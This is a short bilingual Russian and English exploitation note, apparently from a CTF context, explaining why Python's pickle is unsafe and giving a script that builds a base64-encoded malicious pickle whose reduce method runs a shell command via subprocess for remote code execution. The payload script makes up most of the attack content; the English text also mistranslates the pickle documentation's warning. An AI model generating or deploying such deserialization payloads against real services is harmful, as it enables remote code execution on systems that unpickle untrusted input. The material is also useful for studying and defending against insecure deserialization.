# RU
У Python есть несколько методов сериализации объектов:
Marshall и PickleМодуль
Pickle реализует двоичные протоколы для сериализации и десериализации объектов Python. Однако модуль Pickle не является безопасным и лучше распаковывать только те данные, которым вы доверяете.Для эксплуатации мы будем использовать следующий метод:
pickle.dumps(obj)Помимо этого есть еще библиотека
pickletoolsЭтот модуль содержит различные методы, относящиеся к внутренним деталям модуля
pickleЗдесь нам потребуются два метода:
pickletools.optimize()pickletools.dis()Теперь мы можем сделать свой пэйлоад для получения RCE. Кстати чтобы также сериализовался наш пэйлоад, то мы используем
reduce в нашем классе# EN
Python has several methods for serializing objects:
Marshall and Pickle
The Pickle module implements binary protocols for serializing and deserializing Python objects. However, the Pickle module is not secure and will only decompress data that you trust.We will use the following method to exploit it:
pickle.dumps(obj)
Apart from that there is also the pickletools library.This module contains various methods related to the pickle module's internals
Here we need two methods:
pickletools.optimize()
pickletools.dis()
Now we can make our own payload to get the RCE. By the way, to serialize our payload as well, we use reduce in our classPAYLOAD
import base64
import pickle
import pickletools
import subprocess
class anti_pickle_serum:
def reduce(self):
command = ['id']
return subprocess.check_output, (command,)
exploit_obj = anti_pickle_serum()
raw_pickle = pickle.dumps({"serum" : exploit_obj}, protocol=0)
optimized_pickle = pickletools.optimize(raw_pickle)
pickletools.dis(optimized_pickle)
payload = base64.b64encode(raw_pickle)
print(payload)
THX:
https://docs.python.org/3/library/pickle.html
https://davidhamann.de/2020/04/05/exploiting-python-pickle/
https://gist.github.com/mgeeky/cbc7017986b2ec3e247aab0b01a9edcd